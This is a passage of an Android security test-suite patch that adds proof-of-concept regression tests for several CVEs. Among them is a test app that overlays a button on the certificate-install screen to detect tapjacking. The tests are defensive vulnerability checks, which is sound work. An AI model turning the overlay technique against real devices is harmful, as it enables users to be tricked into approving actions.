+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@ import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@ import org.junit.runner.RunWith;
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 00000000000..ecb6bdd3cd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 184046278)
+ @Test
+ public void testPocCVE_2021_0953() throws Exception {
+ final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+ final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ final String TEST_APP = "CVE-2021-0953.apk";
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904c0c2..65934f2741f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
package android.security.cts;
-import static org.junit.Assert.assertFalse;
+
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test {
@Test
public void testPocCVE_2021_0965() throws Exception {
installPackage(TEST_APP, new String[0]);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
- String errorLog = "Vulnerable to b/194300867 !!";
- String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
- Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
- assertFalse(pattern.matcher(logcat).find());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 00000000000..6cac004b175
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+ /**
+ * b/203938029
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libandroidfw (As per AOSP code)
+ * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 203938029)
+ @Test
+ public void testPocCVE_2021_39664() throws Exception {
+ String inputFiles[] = {"cve_2021_39664"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39664";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+ "android::LoadedPackage::Load"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 00000000000..519bd242f6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
+ /**
+ * b/204077881
+ * Vulnerability Behavior: SIGSEGV in self
+ * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+ * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 204077881)
+ @Test
+ public void testPocCVE_2021_39665() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39665";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+ "android::AAVCAssembler::checkSpsUpdated"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 4df0f6ffde8..8f12b522fad 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -17,20 +17,26 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0684 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
/**
- * b/179839665
- * Vulnerability Behaviour: SIGSEGV in Self
+ * b/205729183
+ * Vulnerability Behavior: EXIT_VULNERABLE (113)
*/
- @AsbSecurityTest(cveBugId = 179839665)
+ @AsbSecurityTest(cveBugId = 205729183)
@Test
- public void testPocCVE_2021_0684() throws Exception {
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0684", null, getDevice());
+ public void testPocCVE_2021_39675() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+ AdbUtils.TIMEOUT_SEC);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 00000000000..444f1a55a60
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 209611539)
+ @Test
+ public void testPocCVE_2021_39692() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39692";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39692.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 00000000000..acc6a2ed00f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+ /**
+ * b/201645790
+ * This test is related to
+ * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+ */
+ @AsbSecurityTest(cveBugId = 201645790)
+ @Test
+ public void testPocCVE_2021_39700() throws Exception {
+ ITestDevice device = getDevice();
+ assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+ String procUdp6File = "/proc/net/udp6";
+ File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+ assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+ tempFile.deleteOnExit();
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 00000000000..d92af4d40f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-39702.apk";
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 205150380)
+ @Test
+ public void testPocCVE_2021_39702() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d6de6..d7a3afc7a6d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@ package android.security.cts;
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.config.Option;
import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
import static org.hamcrest.core.Is.is;
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
private static final String LOG_TAG = "SecurityTestCase";
private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
// account for the poc timer of 5 minutes (+15 seconds for safety)
protected static final int TIMEOUT_NONDETERMINISTIC = 315;
- private long kernelStartTime;
+ private long kernelStartTime = -1;
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
@@ -119,9 +120,13 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
getDevice().waitForDeviceAvailable(30 * 1000);
}
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ if (kernelStartTime != -1) {
+ // only fail when the kernel start time is valid
+ long deviceTime = getDeviceUptime() + kernelStartTime;
+ long hostTime = System.currentTimeMillis() / 1000;
+ assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+ kernelStartTime = -1;
+ }
// TODO(badash@): add ability to catch runtime restart
}
@@ -340,7 +345,7 @@ public class SecurityTestCase extends BaseHostJUnit4Test {
String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
"/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
"/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*" };
+ "/dev/st54j*", "/dev/st21nfc*" };
boolean isDriverFound = false;
for(String supportedDriver : supportedDrivers) {
if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b816ac..e44a04ae2b0 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@ import androidx.test.uiautomator.Until;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
/** Basic sample for unbundled UiAutomator. */
@RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@ public class DeviceTest {
mContext.startActivity(intent);
UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
- assertNotNull("Activity under-test was not launched or found!", view);
+ assumeNotNull("Activity under-test was not launched or found!", view);
Log.d(LOG_TAG, "Started Activity under-test.");
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
new file mode 100644
index 00000000000..4efed42a7d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2020-0015",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 00000000000..7685c352eba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2020_0015"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2020_0015"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 00000000000..f0a07797f08
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 00000000000..93f9df8faae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="certName">Sample Certificate</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="intentExtraKeyCert">CERT</string>
+ <string name="intentExtraKeyName">name</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+ <string name="streamReadError">Could not read from the raw resource cacert</string>
+ <string name="streamReadWriteException">Error while trying to read from InputStream object
+ and writing to a ByteArrayOutputStream object</string>
+ <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 00000000000..f42eb7544ad
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ String testVulnerablePackage = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+
+ InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+ assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+ ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+ byte[] data = new byte[1024];
+ try {
+ int nRead = inStream.read(data, 0, data.length);
+ assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+ outStream.write(data, 0, nRead);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.streamReadWriteException), e);
+ }
+
+ Intent intent = KeyChain.createInstallIntent();
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getString(R.string.intentExtraKeyName),
+ context.getString(R.string.certName));
+ intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ testVulnerablePackage = ri.activityInfo.packageName;
+
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
